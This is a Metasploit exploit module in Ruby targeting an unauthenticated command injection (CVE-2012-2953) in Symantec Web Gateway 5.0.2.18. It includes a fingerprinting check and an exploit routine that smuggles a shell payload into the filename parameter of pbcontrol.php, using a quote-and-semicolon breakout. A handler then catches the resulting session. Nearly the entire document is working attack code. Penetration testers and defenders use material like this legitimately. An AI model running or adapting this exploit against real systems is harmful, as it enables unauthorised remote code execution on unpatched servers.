Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection",  
'Description' => %q{  
This module exploits a command injection vulnerability found in Symantec Web  
Gateway's HTTP service. While handling the filename parameter, the Spywall API  
does not do any filtering before passing it to an exec() call in proxy_file(),  
thus results in remote code execution under the context of the web server. Please  
note authentication is NOT needed to gain access.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'muts', # Original discovery  
'sinn3r' # Metasploit  
],  
'References' =>  
[  
[ 'CVE', '2012-2953' ],  
[ 'BID', '54426' ],  
[ 'EDB', '20088' ],  
[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00']  
],  
'Payload' =>  
{  
#'BadChars' => "\x00\x0d\x0a",  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl bash telnet'  
}  
},  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['Symantec Web Gateway 5.0.2.18', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jul 23 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path to pbcontrol', '/spywall/pbcontrol.php'])  
], self.class)  
end  
  
  
def check  
dir = File.dirname(target_uri.path)  
  
res1 = send_request_raw({'uri' => "#{dir}/login.php"})  
res2 = send_request_raw({'uri' => "#{dir}/pbcontrol.php"})  
  
if res1 and res2  
if res1.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ and res2.body =~ /^0$/  
return Exploit::CheckCode::Detected  
end  
end  
  
return Exploit::CheckCode::Safe  
end  
  
  
def exploit  
send_request_cgi({  
'uri' => target_uri.path,  
'method' => 'GET',  
'vars_get' => {  
'filename' => "#{Rex::Text.rand_text_alpha(4)}\";#{payload.encoded};\"",  
'stage' => '0'  
}  
})  
  
handler  
end  
  
end  
`